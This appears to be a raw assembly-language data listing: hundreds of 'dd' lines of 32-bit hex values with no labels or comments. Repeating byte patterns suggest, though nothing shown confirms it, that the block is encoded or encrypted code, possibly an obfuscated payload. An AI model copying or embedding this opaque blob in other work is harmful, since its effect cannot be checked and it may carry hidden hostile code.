dd 0F83D5F9Dh, 1F8C8D1Eh, 2393945Ch, 8D1DDC89h, 0A54C9D8Ch
dd 3D96EE5Fh, 8C8D1E80h, 0B58C5C1Fh, 78E1175Fh, 0DCA92393h
dd 9F8C8D1Eh, 8D1D94A9h, 6B9DD28Ch, 0B8212863h, 17636363h
dd 8D1DACA1h, 9B5B1F8Ch, 1EECA19Fh, 17CB8C8Dh, 0A86390E1h
dd 60E96303h, 6368E963h, 0E9636CE9h, 0D1DD7464h, 581F9C9Ch
dd 64D91580h, 8D1D903Dh, 9E741F8Ch, 0C83D5F9Dh, 1F8C8D1Dh
dd 5FA5955Ch, 683D96EEh, 1F8C8D1Dh, 5FB5975Ch, 9378E117h
dd 1EA8A923h, 0A99F8C8Dh, 8C8D1EC4h, 9D9E721Fh, 2128636Bh
dd 636363B8h, 1D40A117h, 5B1F8C8Dh, 0E117CB90h, 3A86390h
dd 6368E963h, 0E9636CE9h, 60E96364h, 9CD04274h, 80581F9Ch
dd 3D60D915h, 8C8D1DF8h, 9F9B5C1Fh, 8D1D9C99h, 935F9D8Ch
dd 1C089923h, 5C1F8C8Dh, 0EE5FA591h, 99239390h, 8C8D1D80h
dd 0B58C5C1Fh, 1D6C3D5Fh, 741F8C8Dh, 78D99D99h, 8D1DF03Dh
dd 9F5C1F8Ch, 9378D9A5h, 6362D41Ah, 94E11763h, 0B8A92393h
dd 9F8C8D1Eh, 8D1D7CA9h, 9F83178Ch, 0C01568C1h, 2393482Bh
dd 8D1DC0A9h, 60C1178Ch, 1598C39Fh, 17642BC0h, 8D1D74A9h
dd 6CC1178Ch, 1590C39Fh, 176C2BC0h, 8D1DD4A9h, 64C1178Ch
dd 1594C39Fh, 0C3702BC0h, 5F55C7C2h, 0CF7915C9h, 0E117CBCAh
dd 8CE91790h, 8D06B8F4h, 8963CB8Ch, 8C91C6A0h, 0BCE95C95h
dd 8DEDDCF4h, 8963CB8Ch, 8C91C6A0h, 8CE95C95h, 8D0568F4h
dd 8963CB8Ch, 8C91C6A0h, 8CE85C95h, 1594D917h, 17AA639Ah
dd 98CF6384h, 86775CADh, 30992393h, 938C8D1Ch, 1D348923h
dd 4C9D8C8Dh, 159B741Fh, 0DC9E249Ah, 0C2C31C9Ch, 905EC1C7h
dd 6B22749Ch, 0ECF46363h, 748C8D05h, 636368D8h, 0A0C574CCh
dd 0CC3F9C9Ch, 0F48C8DEDh, 8C8D05F9h, 6368B374h, 0D874CC63h
dd 3F9C9CA0h, 8C9C6CA0h, 8D05C5F4h, 6886748Ch, 74CC6363h
dd 9C9CA0B3h, 95AF803Fh, 5D3F48Ch, 99748C8Dh, 0CC636368h
dd 9CA08674h, 0BD383F9Ch, 0DBF48C9Dh, 748C8D05h, 63636F6Ch
dd 0A09974CCh, 6C3F9C9Ch, 0F48C99B5h, 8C8D05A2h, 636F4774h
dd 6C74CC63h, 3F9C9CA7h, 8C95C568h, 8D05A8F4h, 6F5A748Ch
dd 74CC6363h, 9C9CA747h, 95D5883Fh, 5B0F48Ch, 2D748C8Dh
dd 0CC63636Fh, 9CA75A74h, 9C803F9Ch, 0BEF48C9Dh, 748C8D05h
dd 63636F00h, 0A72D74CCh, 7C3F9C9Ch, 0F48C99B5h, 8C8D0584h
dd 636F1B74h, 74CC63h, 3F9C9CA7h, 8C9C6CB0h, 8D0592F4h
dd 6FEE748Ch, 74CC6363h, 9C9CA71Bh, 95D6A83Fh, 598F48Ch
dd 0C1748C8Dh, 0CC63636Fh, 9CA7EE74h, 0FC581F9Ch, 91C6DC3Fh
dd 15C95F8Ch, 0BD8C2479h, 0B5749C9Dh, 0CF9C9C5Ch, 0E963CBCAh
dd 60191194h, 0CC636242h, 9C5CAB74h, 6011119Ch, 1F636242h
dd 1CDC6354h, 0E99C9DA0h, 81239365h, 8C8D1D98h, 0D8892393h
dd 9D8C8D1Dh, 99771F4Fh, 42B55A15h, 1D188117h, 771F8C8Dh
dd 0A9001494h, 63624260h, 0BC992393h, 158C8D1Dh, 38899F5Eh
dd 1F8C8D1Ch, 93CE9076h, 1EA88923h, 4C9D8C8Dh, 0CC9B741Fh
dd 23939FF6h, 8D1D5899h, 9B741F8Ch, 992393CCh, 8C8D1D30h
dd 1D2C999Fh, 741F8C8Dh, 9DF4CC91h, 111C9C9Ch, 62426019h
dd 8963CC63h, 8C8DF084h, 631F5B15h, 0AB189363h, 939C9C9Eh
dd 1C789923h, 999F8C8Dh, 8C8D1D4Ch, 0CC9F741Fh, 426C1911h
dd 0F4CC6362h, 9C9C8363h, 7C9D1911h, 0CBCC6363h, 6CA88963h
dd 19158C9Ch, 63624264h, 0D48963CBh, 3D8C95D6h, 8C8D1DD4h
dd 0A59B741Fh, 62426419h, 77189363h, 939C9C9Dh, 1EE89923h
dd 201C8C8Dh, 637C9C99h, 1993D063h, 9C9C9D4Ah, 0D1292A93h
dd 9363637Ch, 7CD2012Ah, 2B936363h, 947F5D47h, 15FA4295h
dd 62426A29h, 99239363h, 8C8D1DECh, 6A092B93h, 11636242h
dd 0FAD18CD8h, 7C9C1915h, 2B936362h, 627C9C19h, 18229363h
dd 637C9D99h, 89239363h, 8C8D1C78h, 1D00899Fh, 761F8C8Dh
dd 934CA59Bh, 9C9DE518h, 1D843D9Ch, 999F8C8Dh, 8C8D1C7Ch
dd 9395741Fh, 7C9C092Bh, 91176362h, 8C8D1DB8h, 1C04919Fh
dd 751F8C8Dh, 93569D9Fh, 9D890822h, 0A563637Ch, 0DF19934Ch
dd 939C9C9Dh, 7C9C192Bh, 89176362h, 8C8D1E84h, 15935E1Fh
dd 934D9D5Dh, 9D91082Ah, 1763637Ch, 8D1D4CA9h, 915A1F8Ch
dd 0E8812393h, 9D8C8D1Eh, 9D5F1542h, 282A936Fh, 637C9D81h
dd 6A2B9363h, 15947A5Dh, 156F954Fh, 6A2B9342h, 6F9D5F15h
dd 15FA4215h, 62426829h, 192B9363h, 63624268h, 9D991811h
dd 0CC63637Ch, 7C9E1911h, 74CC6362h, 9C9C22DCh, 7C9E1111h
dd 541F6362h, 0A01CDC63h, 65E99C9Dh, 23935B15h, 8D1C5099h
dd 9D741F8Ch, 5EB56615h, 9E89201Ch, 0B263627Ch, 0A43DECE9h
dd 938C8D1Dh, 1EB48923h, 4C9D8C8Dh, 159B741Fh, 935EB566h
dd 9E891822h, 0CC63627Ch, 6CA08963h, 581F8C9Ch, 0C4641F98h
dd 2393D8E9h, 8D1EB8A9h, 9D721F8Ch, 6FB56715h, 81282293h
dd 63627C9Eh, 0A08963CAh, 1F8C9C6Ch, 641F9858h, 1583E9D9h
dd 9CA9B762h, 938C8D1Eh, 9EA92822h, 0CA63627Ch, 6CA08963h
dd 581F8C9Ch, 0D9641F98h, 0AA779EE8h, 8D0463F4h, 6C0E748Ch
dd 11CC6363h, 627C9E21h, 8963CB63h, 8C9C6CB0h, 8D1D9C3Dh
dd 0D4999F8Ch, 1F8C8D1Dh, 11CC9B74h, 627C9E19h, 4774CC63h
dd 1F9C9C94h, 0C2C38858h, 0C95F55C7h, 17CB7915h, 0E96390D9h
dd 8CE96388h, 6390E963h, 896394E9h, 8C9DB954h, 8C5EC1C3h
dd 7915C99Ch, 9C08701Dh, 23939C9Ch, 8D1DEC99h, 99A7D48Ch
dd 8C8D1E30h, 5CAD99E8h, 5BB377DCh, 6363F019h, 9C9C0863h
dd 0F019119Ch, 0CC636363h, 0ECB48963h, 211F8C8Dh, 636363E0h
dd 5B96E99Eh, 8D1E3099h, 9C9C9D8Ch, 1E303D9Ch, 5F558C8Dh
dd 0CD7915C9h, 0E117CBCCh, 633F7494h, 5C956363h, 0A963B8E8h
dd 8C8D1E2Ch, 63CB9DF6h, 8DC6F489h, 60D9158Ch, 1E2CA963h
dd 98F68C8Dh, 0F48963CBh, 158C8DC6h, 55C364D9h, 7915C95Fh
dd 0CBCACFCDh, 0F694E917h, 0F69CF69Ch, 0F69CF69Fh, 9C9CF49Ch
dd 0ACF41C9Ch, 638C95AFh, 8DF08489h, 935B158Ch, 1D549923h
dd 23938C8Dh, 8D1C7089h, 8CD8118Ch, 0E95BA564h, 1EC43D80h
dd 999F8C8Dh, 8C8D1C68h, 179F741Fh, 8D1EEC89h, 99761F8Ch
dd 779A8814h, 3D9CF6E8h, 8C8D1E80h, 1C4C999Fh, 741F8C8Dh
dd 0E963CC98h, 8963CB90h, 8C8DECACh, 50992393h, 938C8D1Ch
dd 1C3C8923h, 4C9D8C8Dh, 0CC90741Fh, 0CC60D911h, 0A0992393h
dd 1F8C8D1Eh, 0CACC8D5Ch, 0A88963CBh, 158C9C6Ch, 8963CB5Fh
dd 8C95D6D4h, 14992393h, 9F8C8D1Dh, 8D1D6099h, 99741F8Ch
dd 8DE95FA5h, 8D1D3C3Dh, 6089178Ch, 1F8C8D1Ch, 88149E76h
dd 0C7C2C39Ah, 0CBCA5F55h, 90B8E817h, 0E43D6B15h, 1F8C8D1Dh
dd 2393985Ch, 8D1D3489h, 0A54C9D8Ch, 3DA6E15Bh, 8C8D1E84h
dd 1C38999Fh, 741F8C8Dh, 64339399h, 8992393h, 938C8D1Ch
dd 1E908923h, 0D8118C8Dh, 89179D8Ch, 8C8D1EF0h, 159B761Fh
dd 934D9D6Dh, 5BB55D33h, 9C9DDF75h, 483DD39Ch, 1F8C8D1Ch
dd 999F985Ch, 8C8D1D48h, 0B1E15BA5h, 8D1C203Dh, 9E5C1F8Ch
dd 1C54999Fh, 33938C8Dh, 0B55B155Bh, 0E089176Ch, 1F8C8D1Dh
dd 899F9B5Eh, 8C8D1DC4h, 4BB55B15h, 9C9D9F75h, 2393D39Ch
dd 8D1EE899h, 0BD5C1F8Ch
dd 86E15BA5h, 8D1C4C3Dh, 3393D48Ch, 3D5B155Bh, 8C8D1D5Ch
dd 0B5DE5C1Fh, 9C46755Bh, 93D39C9Ch, 1EFC9923h, 5C1F8C8Dh
dd 0E15BA587h, 1D3C3DBAh, 999F8C8Dh, 8C8D1DB8h, 939B741Fh
dd 0E03D6433h, 1F8C8D1Dh, 999FA65Ch, 8C8D1ED8h, 39755BB5h
dd 0D39C9C9Ch, 8D1DE43Dh, 0B85C1F8Ch, 0DC892393h, 9D8C8D1Dh
dd 0E15BA54Ch, 992393B6h, 8C8D1E88h, 0F4892393h, 9D8C8D1Eh
dd 98741F4Ch, 155B3393h, 1C203D5Bh, 5C1F8C8Dh, 0B8999FD7h
dd 0B58C8D1Dh, 0D3F9775Bh, 8D1DE83Dh, 0AE5C1F8Ch, 0C0892393h
dd 9D8C8D1Dh, 0E15BA54Ch, 1D2C3D8Bh, 741F8C8Dh, 64339399h
dd 8D1EF83Dh, 0FB5C1F8Ch, 0A4775BB5h, 1DF03DD3h, 5C1F8C8Dh
dd 0E15BA5ACh, 1EAC3D83h, 999F8C8Dh, 8C8D1EF0h, 9397741Fh
dd 23936433h, 8D1D2099h, 0F75C1F8Ch, 90775BB5h, 6C992393h
dd 1F8C8D1Ch, 5BB5AA5Ch, 0C2C36415h, 7915C95Fh, 9E80701Dh
dd 0CACF9C9Ch, 6C1911CBh, 0CC636361h, 9DBC3CF4h, 0B89F748Ch
dd 581F9C9Ch, 64191594h, 17636361h, 8D1D6891h, 99751F8Ch
dd 9BE954A5h, 1E755CADh, 3D9C9C9Dh, 8C8D1D88h, 1DC8999Fh
dd 741F8C8Dh, 60191599h, 17636361h, 63616019h, 64091763h
dd 11636361h, 541F9E90h, 0A01CDC63h, 65E99C9Dh, 61681915h
dd 211D6363h, 63636168h, 9C9C9C63h, 191780EFh, 63636160h
dd 9F9D5C1Fh, 63616419h, 1911CC63h, 6363639Dh, 252274CCh
dd 23939C9Ch, 8D1C6C99h, 9F5A158Ch, 8D1D10A9h, 9F721F8Ch
dd 201CB977h, 63639DA9h, 94E9B463h, 9DA9185Ah, 0B7636363h
dd 9DA9201Ch, 0B5636363h, 185A94E9h, 63639DA9h, 11DAA163h
dd 63639D11h, 63541F63h, 9DA01CDCh, 0A565E99Ch, 0F45BEE5Ah
dd 9C9C9C63h, 629E1911h, 11CC6363h, 63639D19h, 0C274CC63h
dd 1F9C9CFBh, 5F159058h, 1E98A117h, 731F8C8Dh, 93B2779Fh
dd 9EA11822h, 15636362h, 63617419h, 6B641563h, 7819157Bh
dd 17636361h, 63617419h, 78091763h, 0B5636361h, 0A118144Ch
dd 6363629Eh, 0EE43A5DBh, 1C4C3D52h, 741F8C8Dh, 0E963CC9Fh
dd 9E191194h, 0CC636362h, 9CFC1674h, 90581F9Ch, 61701915h
dd 683D6363h, 998C8D1Dh, 9C9C6366h, 617019A5h, 8DE86363h
dd 61642963h, 89636363h, 8C9DB950h, 77DC5CADh, 681917A0h
dd 9D636361h, 63616019h, 99239363h, 8C8D1EF4h, 9D9E5C1Fh
dd 63616019h, 6C191763h, 0A5636361h, 63616019h, 3C1E9363h
dd 63636362h, 63616429h, 50896363h, 0AD8C9DB9h, 0C7C2C35Ch
dd 15C95F55h, 8E902479h, 0F9749C9Ch, 0CF9C9C24h, 6CF4CBCAh
dd 748C8D08h, 636377ECh, 9D2111CCh, 0CB63636Ch, 0C6B48963h
dd 581F8C91h, 1C343D90h, 23938C8Dh, 8D1DC089h, 9D5A158Ch
dd 97721F4Ah, 201C8677h, 636C9DA9h, 93E9BF63h, 8D1DE43Dh
dd 9F741F8Ch, 9DA91814h, 0DA63636Ch, 9363621Dh, 42EE9C9Ch
dd 8D1EF83Dh, 9F5F158Ch, 8D1D7881h, 94771F8Ch, 0B4992393h
dd 1F8C8D1Eh, 19159A74h, 63637360h, 8D1C243Dh, 8923938Ch
dd 8C8D1E8Ch, 741F4C9Dh, 94D9A597h, 0D917FDE9h, 6019A590h
dd 0E9636373h, 8118118Bh, 63636C9Dh, 0C6ECF4CCh, 41748C8Dh
dd 759C9C2Bh, 9C9C9E03h, 9D811011h, 1F63636Ch, 1CDC6354h
dd 0E99C9DA0h, 635F9D65h, 63736019h, 9D5F1F63h, 8D1ED43Dh
dd 8923938Ch, 8C8D1EA0h, 741F4C9Dh, 822939Bh, 636C9D81h
dd 934CA563h, 9C9EFE18h, 3D03779Ch, 8C8D1C40h, 1C68999Fh
dd 741F8C8Dh, 60191595h, 3D636373h, 8C8D1C38h, 0C0892393h
dd 9D8C8D1Dh, 90741F4Ch, 9394C917h, 1E909123h, 919F8C8Dh
dd 8C8D1D5Ch, 3D9E9014h, 8C8D1E24h, 73641915h, 81176363h
dd 8C8D1EC4h, 879F4D7h, 0A1748C8Dh, 0CC636376h, 72692111h
dd 74CB6363h, 9C9C2BA4h, 9D811811h, 0CC63636Ch, 72691911h
dd 63CC6363h, 9C6CB089h, 90581F8Ch, 0EDCC8963h, 88258C8Dh
dd 59C9C9Ch, 915656Bh, 63637368h, 0B0992393h, 1F8C8D1Dh
dd 5EA59F74h, 9C401F93h, 29639C9Ch, 63637364h, 716A1911h
dd 74CC6363h, 9C9CE054h, 8D1D5C3Dh, 0C0999F8Ch, 1F8C8D1Eh
dd 11CC9874h, 63726919h, 0E963CC63h, 0C2C97494h, 581F9C9Ch
dd 7CA11788h, 1D8C8D1Ch, 9C63625Bh, 0E964A59Ch, 691911BBh
dd 0CC636372h, 6394E963h, 9C6CB089h, 87CF48Ch, 9748C8Dh
dd 0CC636375h, 6394E963h, 9C6CB089h, 88581F8Ch, 8D1DD43Dh
dd 88999F8Ch, 1F8C8D1Dh, 11CC9474h, 63716A19h, 0E963CC63h
dd 0C1617494h, 581F9C9Ch, 0A11790h, 1D8C8D1Dh, 9C63645Bh
dd 0E95BA59Ch, 849F4A7h, 0D1748C8Dh, 0CC636375h, 6394E963h
dd 9C6CB089h, 6A19118Ch, 0CC636371h, 6394E963h, 9C6CB089h
dd 84CF48Ch, 0B5748C8Dh, 0CC636375h, 6394E963h, 9C6CB089h
dd 0BC581F8Ch, 73641963h, 29636363h, 63637360h, 6366BD74h
dd 1915C563h, 63637368h, 8D1DD43Dh, 8923938Ch, 8C8D1DDCh
dd 741F4C9Dh, 6819A596h, 0EF636373h, 992393FFh, 8C8D1D58h
dd 0C0892393h, 9D8C8D1Dh, 95741F4Ch, 691911CCh, 0CC636372h
dd 7494E963h, 9C9CC1C7h, 1790581Fh, 8D1DFCA1h, 655B1D8Ch
dd 9F9C9C63h, 8D1EC4A1h, 0E95BA58Ch, 691911BBh, 0CC636372h
dd 6394E963h, 9C6CB089h, 857F48Ch, 9748C8Dh, 0CC636374h
dd 6394E963h, 9C6CB089h, 88581F8Ch, 9D811011h, 1F63636Ch
dd 1CDC6354h, 0E99C9DA0h, 1F5F9D65h, 19639D5Fh, 63637360h
dd 81182293h, 63636C9Dh, 1C248917h, 761F8C8Dh, 934CA594h
dd 63629019h, 64191763h, 3F636373h, 8C8D1E24h, 8D085AF4h
dd 74A2748Ch, 63CC6363h, 896394E9h, 8C9C6CB0h, 0C390581Fh
dd 5F55C7C2h, 0CD7915C9h, 0CBCACFCCh, 1EF8A917h, 721F8C8Dh
dd 60D9119Fh, 688F4CCh, 0D9178C8Dh, 8417CC94h, 9C818863h
dd 159C9C9Ch, 1DAC3D5Bh, 999F8C8Dh, 8C8D1C40h, 0A596741Fh
dd 0AD98E85Bh, 11C6775Ch, 63CC64D9h, 0D9178CE9h, 8417CC60h
dd 158CCF63h, 1D943D5Bh, 741F8C8Dh, 0E964A59Eh, 88E963ADh
dd 1790E963h, 17CC64D9h, 88CF6384h, 23935B15h, 8D1D5499h
dd 9B741F8Ch, 95E95BA5h, 1C00A917h, 721F8C8Dh, 64D9179Ah
dd 638417CCh, 0D91794CFh, 8417CC60h, 1594CF63h, 0C7C2C36Ch
dd 15C95F55h, 0D8701D79h, 0CF9C9C9Fh, 0E963CBCAh, 0B8896390h
dd 0C58C91C6h, 1194E963h, 63607619h, 0ED74CC63h, 119C9C28h
dd 63607611h, 63541F63h, 9DA01CDCh, 1765E99Ch, 8D1ED489h
dd 9F761F8Ch, 4FB55F15h, 1C548917h, 8148C8Dh, 63607681h
dd 99239363h, 8C8D1D8Ch, 0A19F5B15h, 8C8D1D28h, 939E731Fh
dd 1D209923h, 19158C8Dh, 6363607Ch, 899F5E15h, 8C8D1C04h
dd 159A761Fh, 63604409h, 15641563h, 63604019h, 34911763h
dd 9F8C8D1Ch, 8D1D0091h, 91751F8Ch, 19157D6Bh, 63636048h
dd 60441917h, 9176363h, 63636048h, 89174C9Dh, 8C8D1EB0h
dd 607C1117h, 569D6363h, 149A761Fh, 61729908h, 64156363h
dd 1ED89117h, 751F8C8Dh, 157D6B99h, 63604C19h, 18229363h
dd 636076A1h, 4C091763h, 14636360h, 61728918h, 22936363h
dd 6076A118h, 89176363h, 8C8D1DA0h, 1DE0899Fh, 761F8C8Dh
dd 934CA592h, 9C9C0F19h, 1C643D9Ch, 19158C8Dh, 63636050h
dd 54892393h, 1F8C8D1Dh, 9159876h, 63636058h, 19156415h
dd 63636054h, 1DB49117h, 751F8C8Dh, 157D6B99h, 63605C19h
dd 58191763h, 17636360h
dd 63605C09h, 174C9D63h, 63605009h, 9D4D1563h, 94761F4Eh
dd 72990814h, 15636361h, 0F8911764h, 1F8C8D1Dh, 7D6B9E5Dh
dd 60201915h, 903D6363h, 1F8C8D1Dh, 9179B74h, 63636020h
dd 843D5E9Dh, 938C8D1Eh, 1C3C9123h, 549D8C8Dh, 1494741Fh
dd 61728918h, 9A776363h, 622175DBh, 683D6363h, 9F8C8D1Dh
dd 8D1D6499h, 90741F8Ch, 1E0899A5h, 0F0E88C8Dh, 61721911h
dd 3DCC6363h, 8C8D1D64h, 1DF0999Fh, 741F8C8Dh, 8963CC8Ch
dd 8C9DB928h, 0D43D5A15h, 938C8D1Eh, 1DEC8923h, 4C9D8C8Dh
dd 0A599741Fh, 93A5E85Ah, 1EFC9923h, 741F8C8Dh, 499A595h
dd 0E88C8D1Eh, 1D103DD4h, 6BDC8C8Dh, 1911CC44h, 63636172h
dd 992393CCh, 8C8D1E88h, 1D84999Fh, 741F8C8Dh, 8963CC90h
dd 8C9C6CB8h, 0B958A963h, 0A9638C9Dh, 8C95C69Ch, 60761911h
dd 74CC6363h, 9C9CA1DDh, 1590581Fh, 63607819h, 0C7C2C363h
dd 15C95F55h, 9CA42479h, 81749C9Fh, 0CF9C9C2Eh, 1911CBCAh
dd 63616374h, 1EEC3DCCh, 741F8C8Dh, 0D911CC99h, 0D911CC80h
dd 2393CC90h, 8D1EA099h, 9F741F8Ch, 94D917CCh, 638417CCh
dd 5B15C8CFh, 8D1C0C3Dh, 64A5D48Ch, 9F2E1993h, 23939C9Ch
dd 8D1C5099h, 24999F8Ch, 1F8C8D1Dh, 11CC9074h, 61634019h
dd 3DCC63h, 9F8C8D1Ch, 8D1D9099h, 93741F8Ch, 741917CCh
dd 0CC636163h, 0CF638417h, 3D5B1590h, 8C8D1C5Ch, 20892393h
dd 9D8C8D1Dh, 9A741F4Ch, 19935BA5h, 9C9C9FD3h, 1DF0A917h
dd 721F8C8Dh, 9E191195h, 0CC63629Ch, 63402963h, 0B8746361h
dd 1F9C9C0Ch, 391F9458h, 63616370h, 1D7C3D9Ch, 741F8C8Dh
dd 44191595h, 5B636163h, 61636C19h, 9C9C8C63h, 1D883D9Ch
dd 741F8C8Dh, 6019159Eh, 3D636163h, 8C8D1C28h, 1598741Fh
dd 61636419h, 68195B63h, 9E636163h, 3D9C9C9Ch, 8C8D1C74h
dd 1E80999Fh, 741F8C8Dh, 1911CC9Bh, 6361636Ch, 701911CCh
dd 0CC636163h, 63441911h, 63CC6361h, 61634029h, 80D91163h
dd 90D911CCh, 992393CCh, 8C8D1C70h, 94D917CCh, 638417CCh
dd 5B15D8CFh, 8D1DB43Dh, 9B741F8Ch, 199364A5h, 9C9C9DA6h
dd 8D1DCC3Dh, 8923938Ch, 8C8D1EE8h, 4A9D5A15h, 9398721Fh
dd 1D309923h, 23938C8Dh, 8D1C7089h, 1C4C9D8Ch, 63609920h
dd 0E9D86361h, 1D403DADh, 201C8C8Dh, 61636199h, 0BEE9D563h
dd 8C992393h, 1C8C8D1Eh, 9C9E9920h, 0E9CC6362h, 9923938Dh
dd 8C8D1D20h, 6299201Ch, 0CC636163h, 4B7599E8h, 179C9C9Ch
dd 61634419h, 4C191563h, 17636163h, 61637019h, 48191563h
dd 11636163h, 61637C19h, 2393CC63h, 8D1E8899h, 5C89178Ch
dd 9D8C8D1Ch, 98761F5Eh, 892393CEh, 8C8D1DDCh, 4C155E9Dh
dd 0CC94741Fh, 50992393h, 1F8C8D1Dh, 3DCC9A74h, 8C8D1DF8h
dd 44892393h, 9D8C8D1Ch, 95741F4Ch, 992393CCh, 8C8D1D70h
dd 0CC9F741Fh, 634C1911h, 63CC6361h, 9C6CB489h, 5019158Ch
dd 17636163h, 8D1EEC91h, 0AC919F8Ch, 1F8C8D1Dh, 5DA59475h
dd 0D03D89E9h, 938C8D1Dh, 1EDC8923h, 5A158C8Dh, 721F4A9Dh
dd 17AF779Bh, 8D1DF8A9h, 9E5A1F8Ch, 63551911h, 63CC6360h
dd 61637829h, 12F97463h, 581F9C9Ch, 78211F94h, 9C636163h
dd 296390E8h, 63616378h, 0B9508963h, 23938C9Dh, 8D1EFC99h
dd 99185A8Ch, 63626365h, 1D6C3DE0h, 23938C8Dh, 8D1DBC89h
dd 9F761F8Ch, 66990814h, 93636263h, 1EA89923h, 185A8C8Dh
dd 62636199h, 0E963CC63h, 9D1911B0h, 0CC63639Ch, 6CB08963h
dd 5DF48C9Ch, 748C8D08h, 63637EF4h, 9D0111CCh, 0CF63639Ch
dd 6CB08963h, 38F48C9Ch, 748C8D08h, 63637ECCh, 0FC812393h
dd 158C8D1Eh, 15469D46h, 8D771F4Fh, 0E963CCCFh, 0CA5574B0h
dd 581F9C9Ch, 408917B8h, 1D8C8D1Ch, 9C63645Eh, 54899F9Ch
dd 0A58C8D1Ch, 1184E84Ch, 629C9E19h, 1911CC63h, 63639C9Dh
dd 343074CCh, 581F9C9Ch, 11B37794h, 629C9E19h, 1911CC63h
dd 63639C9Dh, 0B08963CCh, 0F48C9C6Ch, 8C8D0803h, 637D7B74h
dd 111CC63h, 63639C9Dh, 0B08963CFh, 1F8C9C6Ch, 0A9A58858h
dd 8C8D1C0Ch, 191792E9h, 63616370h, 63541915h, 90776361h
dd 63551911h, 19156360h, 63616354h, 63542963h, 19116361h
dd 63639C9Dh, 0B08963CCh, 0F48C9C6Ch, 8C8D085Dh, 637D0B74h
dd 111CC63h, 63639C9Dh, 0B08963CFh, 1F8C9C6Ch, 843D8858h
dd 0D48C8D1Eh, 637019A5h, 90E86361h, 63702963h, 89636361h
dd 8C99AD70h, 9C9D1911h, 63CC6363h, 99AD7C89h, 0FF75C58Ch
dd 1F636360h, 61637421h, 90E89C63h, 63741917h, 17CC6361h
dd 94CF6384h, 55C7C2C3h, 7915C95Fh, 0CFB4701Fh, 0DF22CBCAh
dd 779C9C9Ch, 81239384h, 8C8D1C30h, 1D88819Fh, 771F8C8Dh
dd 29801595h, 8C8DF0BCh, 0C6621FDAh, 0DF237FEAh, 759C9C9Ch
dd 9C9C9D1Ah, 8D080BF4h, 7C62748Ch, 0CCCB6363h, 0CF6EC111h
dd 0C6B48963h, 483D8C91h, 9F8C8D1Dh, 8D1C5899h, 8E741F8Ch
dd 0B88963CCh, 1F8C91C6h, 80178858h, 8DF0BC21h, 5481A58Ch
dd 0E88C8D1Ch, 992393CCh, 8C8D1C70h, 1DAC999Fh, 741F8C8Dh
dd 70D9159Fh, 0CC70D911h, 0BC21A863h, 638C8DF0h, 8DC6D089h
dd 70E11D8Ch, 9C9C9D9Fh, 0A863BFE8h, 8DF0BC21h, 0D489638Ch
dd 178C95D6h, 8D1E9881h, 0AC819F8Ch, 1F8C8D1Eh, 80159477h
dd 8DF0BC21h, 6ED9118Ch, 0F88963CCh, 158C8DC6h, 641F60D9h
dd 1FDEE898h, 0A1E89F64h, 0E89E641Fh, 812393A4h, 8C8D1D50h
dd 1C54819Fh, 771F8C8Dh, 2180A59Ah, 8C8DF0BCh, 9C231893h
dd 81179C9Ch, 8C8D1D18h, 1D7C819Fh, 771F8C8Dh, 2180158Dh
dd 8C9DB97Ch, 9C9C3875h, 639DF69Ch, 9D935C89h, 40D9118Ch
dd 74D911CCh, 78D911CCh, 7CD911CCh, 6ED911CCh, 148963CCh
dd 938C9DBCh, 1DF48123h, 771F8C8Dh, 0E95FA598h, 21A01F80h
dd 8C8DF0BCh, 17F6E89Ch, 8D1DB881h, 95771F8Ch, 7C218015h
dd 778C9DB9h, 0EC8117C4h, 1F8C8D1Eh, 80A59977h, 8DF0BC21h
dd 15DAE98Ch, 0B97C21A0h, 0D9118C9Dh, 2393CC44h, 8D1D5899h
dd 999F8Ch, 1F8C8D1Ch, 11CC9274h, 0B97C2180h, 0F4CF8C9Dh
dd 8C9C001Fh, 1C608117h, 771F8C8Dh, 0A963CF9Eh, 8C8D1D10h
dd 0ECBC8963h, 98158C8Dh, 8DF0BC21h, 631FDB8Ch, 0ED1A93C6h
dd 3D636362h, 8C8D1C00h, 0CC9B741Fh, 0C6B88963h, 75C58C91h
dd 636362CEh, 55C7C2C3h, 0C99C985Eh, 701D7915h, 9C9C9FB8h
dd 1FCBCACFh, 939C90E1h, 9C8D5518h, 94D9179Ch, 1DF88917h
dd 0A01C8C8Dh, 8FE8A88Ch, 1D0C8917h, 761F8C8Dh, 8CA01C9Ah
dd 3B1993A9h, 179C9C8Dh, 5D1594D9h, 0DC63541Fh, 9C9DA01Ch
dd 191565E9h, 63636244h, 1EA48917h, 5E1F8C8Dh, 7C899F9Dh
dd 0A58C8D1Dh, 178DE84Ch, 8D1C5C89h, 935E1F8Ch, 19934CA5h
dd 9C9C8DF2h, 1C048117h, 771F8C8Dh, 2482779Eh, 9C9C9CACh
dd 19157F6Bh, 6363613Ch, 0CC999817h, 0A58C95AAh, 189390D9h
dd 9C9C8DDAh, 992393DFh, 8C8D1EA0h, 70892393h, 118C8D1Dh
dd 0A5C28CD8h, 3D50EE5Fh, 8C8D1EC0h, 9F925C1Fh, 8D1D1099h
dd 4419A78Ch, 93636362h, 9C9EB919h, 94D9179Ch, 1C588917h
dd 899F8C8Dh, 8C8D1D68h, 1C99761Fh, 0E8B18CA0h, 89239387h
dd 8C8D1D80h, 1C689117h, 0C8118C8Dh, 0A01C9B96h, 1993BC8Ch
dd 9C9C8C7Eh, 9394D917h, 1DEC8923h, 23938C8Dh, 8D1EC891h
dd 1F569D8Ch, 0A01C9976h
dd 8EE8B18Ch, 90892393h, 1C8C8D1Eh, 0BC989EE0h, 8C281993h
dd 0D9179C9Ch, 0A0891794h, 938C8D1Dh, 1C449123h, 569D8C8Dh
dd 1C98761Fh, 0E8BC8CA0h, 64891785h, 1F8C8D1Ch, 899F9F5Eh
dd 8C8D1D24h, 0B18CA01Ch, 8C1C1993h, 0B43D9C9Ch, 1F8C8D1Dh
dd 2393985Ch, 8D1C7089h, 174C9D8Ch, 0CE1694C9h, 99081491h
dd 6363639Dh, 8D1EEC3Dh, 9D5E158Ch, 94D9175Eh, 149DDC16h
dd 62648918h, 443D6363h, 9F8C8D1Dh, 8D1ED899h, 94C9178Ch
dd 1494CE16h, 62669908h, 103D6363h, 178C8D1Dh, 8E1694C9h
dd 9D990814h, 3D636363h, 8C8D1DE8h, 1C40999Fh, 0C9178C8Dh
dd 9ACE1694h, 62990814h, 3D636362h, 8C8D1D94h, 1694C917h
dd 81496CEh, 63639B99h, 1D883D63h, 0C9178C8Dh, 9BCE1694h
dd 99990814h, 93636363h, 1D549923h, 999F8C8Dh, 8C8D1DA8h
dd 1694C917h, 8148ECEh, 63639D99h, 1C583D63h, 0C9178C8Dh
dd 8CCE1694h, 99990814h, 93636363h, 1DDC9923h, 0C9178C8Dh
